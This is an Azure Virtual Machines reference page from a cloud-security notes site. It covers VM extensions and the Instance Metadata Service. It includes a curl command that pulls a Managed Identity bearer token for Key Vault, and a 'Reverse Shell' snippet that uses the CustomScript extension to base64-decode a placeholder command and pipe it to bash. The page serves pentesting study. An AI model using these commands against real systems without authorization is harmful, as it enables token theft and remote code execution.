> For the complete documentation index, see [llms.txt](https://www.techwithtyler.dev/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.techwithtyler.dev/cloud-security/azure/azure-services-info/compute/azure-virtual-machines.md).

# Azure Virtual Machines

Overview of the Azure Virtual Machines service

## Overview

* Provides on-demand virtual compute resources

***

## Capabilities

### Extensions

* Extensions are small applications that provide post-deployment configuration and automation on Azure virtual machines (VMs) both on Windows and Linux such as executing code, installers, and more
* Requires the [Azure Windows VM Agent](https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/agent-windows) or [Azure Linux VM Agent](https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/agent-linux)
* Extensions may be region dependent

***

### Instance Metadata Service (IMDS)

* Exposes several [categories of information](https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#endpoint-categories) such as instance details (OS info, networking, etc.), scheduled events (VM maintenance jobs), Load Balancer info, tokens for Managed Identities (if assigned), and more
* Available at the following URL: `http://169.254.169.254/metadata/` 

#### Retrieving Access Token 

* If a Managed Identity is assigned to the instance, we can retrieve its bearer token 
* Other examples such as using GO, Python, etc. are [found here](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token#overview)

{% code overflow="wrap" %}

```zsh
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13"

curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
```

{% endcode %}

***

## Security Configuration

*

***

## Commands & Examples

### Execute Arbitrary Code

#### Reverse Shell

{% tabs %}
{% tab title="Linux" %}
{% code overflow="wrap" %}

```zsh
az vm extension set \
  --resource-group <resource-group-name> \
  --vm-name <vm-name> \
  --name CustomScript \
  --publisher Microsoft.Azure.Extensions \
  --version 2.1 \
  --settings '{}' \
  --protected-settings '{"commandToExecute": "nohup echo <base64-encoded-command> | base64 -d | bash &"}'
```

{% endcode %}
{% endtab %}

{% tab title="Windows" %}

{% endtab %}
{% endtabs %}

***

## CLI Cheat Sheet

{% embed url="<https://app.gitbook.com/o/jZWSDbhtOG1szHMuDH9S/s/8yu8YbDfwd1VqEdUxGyA/~/edit/~/changes/467/cloud-security/azure/azure-cli-cheat-sheet#virtual-machines>" %}

***

## Offensive Security Tactics & Techniques

* links to examples

***

## Additional Resources

{% embed url="<https://learn.microsoft.com/en-us/azure/virtual-machines/overview>" %}